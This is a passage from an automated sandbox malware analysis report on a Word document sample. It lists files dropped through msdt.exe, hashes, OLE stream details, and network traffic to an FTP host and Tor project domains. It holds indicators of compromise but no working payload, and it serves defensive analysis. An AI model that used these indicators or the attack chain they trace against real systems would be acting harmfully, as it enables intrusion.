SHA-512: 092CC417FBFE7F6E02A60FF169209D7B60362B585CBF92521BFC71C0B378D978DFB9265A3E48C630CE6ABAB263711D71F3917FFAF51B6FD449CFC394E9D8C3A
9

Malicious: false

Preview: <dcmPS:DiagnosticPackage SchemaVersion="1.0" Localized="true" xmlns:dcmPS="http://www.microsoft.com/schemas/dcm/package/2007" xmlns:dcmRS="http://www.
microsoft.com/schemas/dcm/resource/2007">..  <DiagnosticIdentification>..    <ID>PCW</ID>..    <Version>3.0</Version>..  </DiagnosticIdentification>..  <Display
Information>..    <Parameters/>..    <Name>@diagpackage.dll,-1</Name>..    <Description>@diagpackage.dll,-2</Description>..  </DisplayInformation>..  <PrivacyLi
nk>https://go.microsoft.com/fwlink/?LinkId=534597</PrivacyLink>..  <PowerShellVersion>2.0</PowerShellVersion>..  <SupportedOSVersion clientSupported="true" serv
erSupported="true">6.1</SupportedOSVersion>..  <Troubleshooter>..    <Script>..      <Parameters/>..      <ProcessArchitecture>Any</ProcessArchitecture>..      
<RequiresElevation>false</RequiresElevation>..      <RequiresInteractivity>true</RequiresInteractivity>..      <FileName>TS_ProgramCompatibilityWizard.ps1</File
Name>..      <ExtensionPoint/>..    </Script>..   

Process: C:\Windows\SysWOW64\msdt.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 66560

Entropy (8bit): 6.926109943059805

Encrypted: false

SSDEEP: 1536:ytBGLADXf3iFGQ+/ReBQBJJgUKZgyxMBGb:ytBGcDXvKoRqKuxgyx

MD5: 6E492FFAD7267DC380363269072DC63F

SHA1: 3281F69F93D181ADEE35BC9AD93B8E1F1BBF7ED3

SHA-256: 456AE5D9C48A1909EE8093E5B2FAD5952987D17A0B79AAE4FFF29EB684F938A8

SHA-512: 422E2A7B83250276B648510EA075645E0E297EF418564DDA3E8565882DBBCCB8C42976FDA9FCDA07A25F0F04A142E43ECB06437A7A14B5D5D994348526123E4E

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.PE..d....J_A.........." ..................
....................................... .......K....`.......................................................... ..`...............................8............................................................................rdata..............................@.
.@.rsrc...`.... ......................@..@.....J_A........T...8...8........J_A........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....#.......rsrc$02.... .....;A.(.j..x..)V...Zl4..w
.E..J_A.............................................................................................................................................................................................................................................................
...........................................................

Process: C:\Windows\SysWOW64\msdt.exe

File Type: ISO-8859 text, with CRLF line terminators

Category: dropped

Size (bytes): 50242

Entropy (8bit): 4.932919499511673

Encrypted: false

SSDEEP: 384:/wugEs5GhrQzYjGBHvPbD9FZahXuDzsP6qqF8DdEakDiqeXacgcRjdhGPtQMHQF4:/c5AMHvDDf2VE+quAiMw4

MD5: EDF1259CD24332F49B86454BA6F01EAB

SHA1: 7F5AA05727B89955B692014C2000ED516F65D81E

SHA-256: AB41C00808ADAD9CB3D76405A9E0AEE99FB6E654A8BF38DF5ABD0D161716DC27

SHA-512: A6762849FEDD98F274CA32EB14EC918FDBE278A332FDA170ED6D63D4C86161F2208612EB180105F238893A2D2B107228A3E7B12E75E55FDE96609C69C896EBA0

Malicious: false

Preview: # Copyright . 2008, Microsoft Corporation. All rights reserved.......#This is passed from the troubleshooter via 'Add-DiagRootCause'..PARAM($targetPath, $appNam
e)....#RS_ProgramCompatibilityWizard..#rparsons - 05 May 2008..#rfink    - 01 Sept 2008 - rewrite to support dynamic choices....#set-psdebug -strict -trace 0....#change H
KLM\Software\Windows NT\CurrentVersion\AppCompatFlags\CompatTS EnableTracing(DWORD) to 1..#if you want to enable tracing..$SpewTraceToDesktop = $false
....Import-LocalizedData -BindingVariable CompatibilityStrings -FileName CL_LocalizationData....#Compatibility modes..$CompatibilityModes = new-Object System.Co
llections.Hashtable..$CompatibilityModes.Add("Version_WIN8RTM", "WIN8RTM")..$CompatibilityModes.Add("Version_WIN7RTM", "WIN7RTM")..$CompatibilityModes
.Add("Version_WINVISTA2", "VISTASP2")..$CompatibilityModes.Add("Version_WINXP3", "WINXPSP3")..$CompatibilityModes.Add("Version_MSIAUTO", "MSIAUTO")..$
CompatibilityModes.Add("Version_UNKNOWN", "WINXPSP3")..$Comp

Process: C:\Windows\SysWOW64\msdt.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 16946

Entropy (8bit): 4.860026903688885

Encrypted: false

SSDEEP: 384:3FptgXhu9IOM7BTDLwU7GHf7FajKFzB9Ww:Ghu9I9dQYWB9Ww

MD5: 2C245DE268793272C235165679BF2A22

SHA1: 5F31F80468F992B84E491C9AC752F7AC286E3175

C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\DiagPackage.dll

C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\RS_ProgramCompatibilityWizard.ps1

C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\TS_ProgramCompatibilityWizard.ps1
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SHA-256: 4A6E9F400C72ABC5B00D8B67EA36C06E3BC43BA9468FE748AEBD704947BA66A0

SHA-512: AAECB935C9B4C27021977F211441FF76C71BA9740035EC439E9477AE707109CA5247EA776E2E65159DCC500B0B4324F3733E1DFB05CEF10A39BB11776F74F03C

Malicious: false

Preview: # Copyright . 2008, Microsoft Corporation. All rights reserved.......#TS_ProgramCompatibilityWizard..#rparsons - 05 May 2008....$ShortcutListing = New-Object Sy
stem.Collections.Hashtable..$ExeListing = New-Object System.Collections.ArrayList..$CombinedListing = New-Object System.Collections.ArrayList....Import-Localize
dData -BindingVariable CompatibilityStrings -FileName CL_LocalizationData....# Block PCW on unsupported SKUs..$BlockedSKUs = @(178)..[Int32]$OSSKU = (Get-
WmiObject -Class "Win32_OperatingSystem").OperatingSystemSKU..if ($BlockedSKUs.Contains($OSSKU))..{..    return..}....$typeDefinition = @"....using System;..using 
System.IO;..using System.Runtime.InteropServices;..using System.Text;..using System.Collections;....public class Utility..{..    public static string GetStartMenuPath()..    
{..        return Environment.GetFolderPath(Environment.SpecialFolder.StartMenu);..    }....    public static string GetAllUsersStartMenuPath()..    {..        return Pa
th.Combine(Environ

Process: C:\Windows\SysWOW64\msdt.exe

File Type: ISO-8859 text, with CRLF line terminators

Category: dropped

Size (bytes): 453

Entropy (8bit): 4.983419443697541

Encrypted: false

SSDEEP: 12:QcM3BFN+dxmVdyKVCkLZI4S2xhzoJNIDER5lI02xzS4svc3uVr:Qb3DQbeCklTxhzoJUoS02tCr

MD5: 60A20CE28D05E3F9703899DF58F17C07

SHA1: 98630ABC4B46C3F9BD6AF6F1D0736F2B82551CA9

SHA-256: B71BC60C5707337F4D4B42BA2B3D7BCD2BA46399D361E948B9C2E8BC15636DA2

SHA-512: 2B2331B2DD28FB0BBF95DC8C6CA7E40AA56D4416C269E8F1765F14585A6B5722C689BCEBA9699DFD7D97903EF56A7A535E88EAE01DFCC493CEABB69856FFF
9AA

Malicious: false

Preview: # Copyright . 2008, Microsoft Corporation. All rights reserved.......#if this environment variable is set, we say that we don't detect the problem anymore so it will..#show as 
fixed in the final screen..PARAM($appName)....$detected = $true..if ($Env:AppFixed -eq $true)..{..   $detected = $false ..}....Update-DiagRootCause -id "RC_Incompat
ibleApplication" -iid $appName -Detected $detected....#RS_ProgramCompatibilityWizard..#rparsons - 05 May 2008....

Process: C:\Windows\SysWOW64\msdt.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF, CR line terminators

Category: dropped

Size (bytes): 6650

Entropy (8bit): 3.6751460885012333

Encrypted: false

SSDEEP: 96:q39pB3hpieJGhn8n/y7+aqwcQoXQZWx+cWUcYpy7I6D1RUh5EEjQB5dm:q39pRhp6Sy6wZifVEtjjFm

MD5: E877AD0545EB0ABA64ED80B576BB67F6

SHA1: 4D200348AD4CA28B5EFED544D38F4EC35BFB1204

SHA-256: 8CAC8E1DA28E288BF9DB07B2A5BDE294122C8D2A95EA460C757AE5BAA2A05F27

SHA-512: 6055EC9A2306D9AA2F522495F736FBF4C3EB4078AD1F56A6224FF42EF525C54FF645337D2525C27F3192332FF56DDD5657C1384846678B343B2BFA68BD478A70

Malicious: false

Preview: ..#. .L.o.c.a.l.i.z.e.d...0.4./.1.1./.2.0.1.8. .0.2.:.0.5. .P.M. .(.G.M.T.)...3.0.3.:.4...8.0...0.4.1.1. ...C.L._.L.o.c.a.l.i.z.a.t.i.o.n.D.a.t.a...p.s.d.1.....#. .L.o.c.a.l.i.z.e.d...0.1./.0.4./.2.0.
1.3. .1.1.:.3.2. .A.M. .(.G.M.T.)...3.0.3.:.4...8.0...0.4.1.1. ...C.L._.L.o.c.a.l.i.z.a.t.i.o.n.D.a.t.a...p.s.d.1.....C.o.n.v.e.r.t.F.r.o.m.-.S.t.r.i.n.g.D.a.t.a. .@.'.....#.#.#.P.S.L.O.C...
..P.r.o.g.r.a.m._.C.h.o.i.c.e._.N.O.T.L.I.S.T.E.D.=.N.o.t. .L.i.s.t.e.d.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.D.E.F.A.U.L.T.=.N.o.n.e.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.W.I.N.8.R.T.M.=.
W.i.n.d.o.w.s. .8.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.W.I.N.7.R.T.M.=.W.i.n.d.o.w.s. .7.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.W.I.N.V.I.S.T.A.2.=.W.i.n.d.o.w.s. .V.i.s.t.a. .(.S.e.r.v.i.c.e. 
.P.a.c.k. .2.).....V.e.r.s.i.o.n._.C.h.o.i.c.e._.W.I.N.X.P.S.P.3.=.W.i.n.d.o.w.s. .X.P. .(.S.e.r.v.i.c.e. .P.a.c.k. .3.).....V.e.r.s.i.o.n._.C.h.o.i.c.e._.M.S.I.A.U.T.O.=.S.k.i.p. .V.e.
r.s.i.o.n. .C.h.e.c.k.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.U.N.

Process: C:\Windows\SysWOW64\msdt.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 10752

Entropy (8bit): 3.517898352371806

Encrypted: false

SSDEEP: 96:Gmw56QoV8m7t/C7eGu7tCuKFtrHQcoC1dIO4Pktmg5CuxbEWgdv0WwF:WAQovu548tmirAWu8Wm

MD5: CC3C335D4BBA3D39E46A555473DBF0B8

SHA1: 92ADCDF1210D0115DB93D6385CFD109301DEAA96

SHA-256: 330A1D9ADF3C0D651BDD4C0B272BF2C7F33A5AF012DEEE8D389855D557C4D5FD

SHA-512: 49CBF166122D13EEEA2BF2E5F557AA8696B859AEA7F79162463982BBF43499D98821C3C2664807EDED0A250D9176955FB5B1B39A79CDF9C793431020B682ED12

Malicious: false

C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\VF_ProgramCompatibilityWizard.ps1

C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\en-US\CL_LocalizationData.psd1

C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\en-US\DiagPackage.dll.mui
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Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......(...............................................P...........@.......................................... ...$..............................8............................................................................rdata.......................
.......@..@.rsrc....0... ...&..................@..@......E.........T...8...8.........E.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....#..0!...rsrc$02.... .......OV....,.+.(
,..vA..@..E.........................................................................................................................................................................................................................................................
................................................................

Process: C:\Windows\SysWOW64\msdt.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 48956

Entropy (8bit): 5.103589775370961

Encrypted: false

SSDEEP: 768:hUeTHmb0+tk+Ci10ycNV6OW9a+KDoVxrVF+bBH0t9mYNJ7u2+d:hUcHXDY10tNV6OW9abDoVxrVF+bBH0tO

MD5: 310E1DA2344BA6CA96666FB639840EA9

SHA1: E8694EDF9EE68782AA1DE05470B884CC1A0E1DED

SHA-256: 67401342192BABC27E62D4C1E0940409CC3F2BD28F77399E71D245EAE8D3F63C

SHA-512: 62AB361FFEA1F0B6FF1CC76C74B8E20C2499D72F3EB0C010D47DBA7E6D723F9948DBA3397EA26241A1A995CFFCE2A68CD0AAA1BB8D917DD8F4C8F3729FA6D
244

Malicious: false

Preview: <?xml version="1.0"?>..<?Copyright (c) Microsoft Corporation. All rights reserved.?>..<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msx
sl="urn:schemas-microsoft-com:xslt" xmlns:ms="urn:microsoft-performance" exclude-result-prefixes="msxsl" version="1.0">...<xsl:output method="html" indent="yes" 
standalone="yes" encoding="UTF-16"/>...<xsl:template name="localization">....<_locDefinition>.....<_locDefault _loc="locNone"/>.....<_locTag _loc="locData">Str
ing</_locTag>.....<_locTag _loc="locData">Font</_locTag>.....<_locTag _loc="locData">Mirror</_locTag>....</_locDefinition>...</xsl:template>...   ********** Images ******
**** -->...<xsl:variable name="images">....<Image id="check">res://sdiageng.dll/check.png</Image>....<Image id="error">res://sdiageng.dll/error.png</Image>....<Image 
id="info">res://sdiageng.dll/info.png</Image>....<Image id="warning">res://sdiageng.dll/warning.png</Image>....<Image id="expand">res://sdiageng.dll/expand.png</Ima
ge>....<Image id="

File type: Microsoft Word 2007+

Entropy (8bit): 7.78474754382263

TrID: Word Microsoft Office Open XML Format document (49504/1) 49.01%
Word Microsoft Office Open XML Format document (43504/1) 43.07%
ZIP compressed archive (8000/1) 7.92%

File name: v4nkfHg4d9.doc

File size: 77319

MD5: cbc307d6059925e9abbdbdec4d9ec0c1

SHA1: 8f0fc563f43cc1422b523a21f01858e031761e5f

SHA256: 8d61ea9ef38b6e7b36f466299223ad43339080d3a9914059c88ca3dd6be5cd32

SHA512: 58d4ef2537a7afaa1f37787f2c40e3084c19ccd350216c691ce9296b18d2864c2286176413ada7d53a350a9a98e2eab6b660a2af74b921d271e0fe3c1c60201f

SSDEEP: 1536:86yyyyyyyy7bb9/5sLMmmMBIBEgMFBuvfve6046kHOUZgfCG5934Si:Vbh585IBm5IhZtGyR

TLSH: 8E73D01ED251C677F2270A34AA962C4FA1680EB29814DE6579EB709F9393F700FB1DC1

File Content 
Preview:

PK..........!.R(G]t...........[Content_Types].xml ...
(.........................................................................................................................................................................................................

Icon Hash: 74f4c4c6c1cac4d8

Document Type: OpenXML

Number of OLE Files: 1

Has Summary Info:

C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\result\results.xsl

Static File Info

General

File Icon

Static OLE Info

General

OLE File "/opt/package/joesandbox/database/analysis/706117/sample/v4nkfHg4d9.doc"

Indicators
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Application Name:

Encrypted Document: False

Contains Word Document Stream: True

Contains Workbook/Book Stream: False

Contains PowerPoint Document 
Stream:

False

Contains Visio Document Stream: False

Contains ObjectPool Stream: False

Flash Objects Count: 0

Contains VBA Macros: False

Title:

Subject:

Author:

Keywords:

Template:

Last Saved By:

Revion Number: 1

Total Edit Time: 0

Create Time: 2022-09-14T21:33:00Z

Last Saved Time: 2022-09-14T21:35:00Z

Number of Pages: 1

Number of Words: 3

Number of Characters: 24

Creating Application:

Security: 0

Number of Lines: 1

Number of Paragraphs: 1

Thumbnail Scaling Desired: false

Company:

Contains Dirty Links: false

Shared Document: false

Changed Hyperlinks: false

Application Version: 16.0000

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 77

Entropy: 2.954779533874008

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . F . . . . P B r u s h . . . . . P B r u s h . . . . . P B r u s h . 9 q . . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 0a 00 03 00 00 00 00 00 c0 00 00 00 00 00 00 46 07 00 00 00 50 42 72 75 73 68 00 07 00 00 00 50 42 72 75 73 68 00 
07 00 00 00 50 42 72 75 73 68 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00 

General

Stream Path: \x1Ole

File Type: data

Stream Size: 20

Entropy: 0.8475846798245739

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

Summary

Document Summary

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 77

Stream Path: \x1Ole, File Type: data, Stream Size: 20

Stream Path: \x1Ole10Native, File Type: data, Stream Size: 2224196
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General

Stream Path: \x1Ole10Native

File Type: data

Stream Size: 2224196

Entropy: 2.717138672565793

Base64 Encoded: False

Data ASCII: @ ! . B M 6 ! . . . . . 6 . . . ( . . . . . . . . . . . . . . . . . . . ! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . 

Data Raw: 40 f0 21 00 42 4d 36 f0 21 00 00 00 00 00 36 00 00 00 28 00 00 00 d4 02 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 f0 21 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 
ff ff ff ff ff ff 

General

Stream Path: \x3ObjInfo

File Type: data

Stream Size: 6

Entropy: 1.2516291673878228

Base64 Encoded: False

Data ASCII: . . . . . . 

Data Raw: 00 00 03 00 04 00 

Total Packets: 62

• 53 (DNS)

• 47991 undefined

• 21 (FTP -- Control)

Timestamp Source Port Dest Port Source IP Dest IP

Sep 20, 2022 12:08:20.472693920 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.518965006 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.519201040 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.566227913 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.566358089 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.577775002 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.623311996 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.623382092 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.623501062 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.623606920 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.692926884 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.693134069 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.728661060 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.774307013 CEST 21 49708 185.27.134.11 192.168.2.5

Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6

Network Behavior

Network Port Distribution

TCP Packets
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Sep 20, 2022 12:08:20.774439096 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.822045088 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.822197914 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.827120066 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.872740984 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.872829914 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.872895002 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.916455030 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.986974001 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:20.987188101 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:20.990294933 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.035701990 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.035795927 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.036305904 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.082240105 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.082376957 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.083575964 CEST 49709 47991 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.132143021 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.132291079 CEST 49709 47991 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.132591963 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.178596973 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.178718090 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.179023981 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.224776983 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.224870920 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.224912882 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.224947929 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.224976063 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.225003004 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.225030899 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.225039005 CEST 49709 47991 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.225054026 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.225064039 CEST 49709 47991 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.225068092 CEST 49709 47991 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.225069046 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.225083113 CEST 21 49708 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.225157022 CEST 49708 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.225159883 CEST 49709 47991 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.225191116 CEST 49709 47991 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.631189108 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.677023888 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.677208900 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.679008007 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.724678040 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.724813938 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.725651026 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.771091938 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.771244049 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.776457071 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.822308064 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.822484016 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.822590113 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.868350983 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.868458986 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.868607998 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.914252996 CEST 21 49707 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.914421082 CEST 49707 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.917721033 CEST 49709 47991 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:21.920876026 CEST 49711 21 192.168.2.5 185.27.134.11

Timestamp Source Port Dest Port Source IP Dest IP

Copyright Joe Security LLC 2022 Page 50 of 173



Sep 20, 2022 12:08:21.963607073 CEST 47991 49709 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.966658115 CEST 21 49711 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:21.966797113 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:22.013870001 CEST 21 49711 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:22.013994932 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:22.014076948 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:22.059758902 CEST 21 49711 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:22.059832096 CEST 21 49711 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:22.059957981 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:22.060081005 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:22.145231962 CEST 21 49711 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:28.010325909 CEST 21 49711 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:28.010438919 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:28.010557890 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:28.058314085 CEST 21 49711 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:28.058427095 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:28.064330101 CEST 21 49711 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:28.064435005 CEST 49711 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:28.095657110 CEST 49712 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:28.143101931 CEST 21 49712 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:28.143243074 CEST 49712 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:28.191374063 CEST 21 49712 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:28.191517115 CEST 49712 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:28.191593885 CEST 49712 21 192.168.2.5 185.27.134.11

Sep 20, 2022 12:08:28.239217997 CEST 21 49712 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:28.239289999 CEST 21 49712 185.27.134.11 192.168.2.5

Sep 20, 2022 12:08:28.239439011 CEST 49712 21 192.168.2.5 185.27.134.11

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Sep 20, 2022 12:08:20.405453920 CEST 51441 53 192.168.2.5 8.8.8.8

Sep 20, 2022 12:08:20.425648928 CEST 53 51441 8.8.8.8 192.168.2.5

Sep 20, 2022 12:10:03.279668093 CEST 55068 53 192.168.2.5 8.8.8.8

Sep 20, 2022 12:10:03.329610109 CEST 53 55068 8.8.8.8 192.168.2.5

Sep 20, 2022 12:10:07.123464108 CEST 56682 53 192.168.2.5 8.8.8.8

Sep 20, 2022 12:10:07.254587889 CEST 53 56682 8.8.8.8 192.168.2.5

Sep 20, 2022 12:10:07.410059929 CEST 58532 53 192.168.2.5 8.8.8.8

Sep 20, 2022 12:10:07.430855989 CEST 53 58532 8.8.8.8 192.168.2.5

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
DNS over
HTTPS

Sep 20, 2022 12:08:20.405453920 
CEST

192.168.2.5 8.8.8.8 0xe662 Standard query 
(0)

ftpupload.net A (IP address) IN (0x0001) false

Sep 20, 2022 12:10:03.279668093 
CEST

192.168.2.5 8.8.8.8 0x1241 Standard query 
(0)

www.torpro
ject.org

A (IP address) IN (0x0001) false

Sep 20, 2022 12:10:07.123464108 
CEST

192.168.2.5 8.8.8.8 0xc0d7 Standard query 
(0)

www.torpro
ject.org

A (IP address) IN (0x0001) false

Sep 20, 2022 12:10:07.410059929 
CEST

192.168.2.5 8.8.8.8 0x4c62 Standard query 
(0)

dist.torpr
oject.org

A (IP address) IN (0x0001) false

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
DNS over
HTTPS

Sep 20, 2022 
12:08:20.425648928 
CEST

8.8.8.8 192.168.2.5 0xe662 No error (0) ftpupload.net 185.27.134.11 A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:03.329610109 
CEST

8.8.8.8 192.168.2.5 0x1241 No error (0) www.torpro
ject.org

116.202.120.1
66

A (IP address) IN 
(0x0001)

false

UDP Packets

DNS Queries

DNS Answers
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Sep 20, 2022 
12:10:03.329610109 
CEST

8.8.8.8 192.168.2.5 0x1241 No error (0) www.torpro
ject.org

95.216.163.36 A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:03.329610109 
CEST

8.8.8.8 192.168.2.5 0x1241 No error (0) www.torpro
ject.org

116.202.120.1
65

A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:03.329610109 
CEST

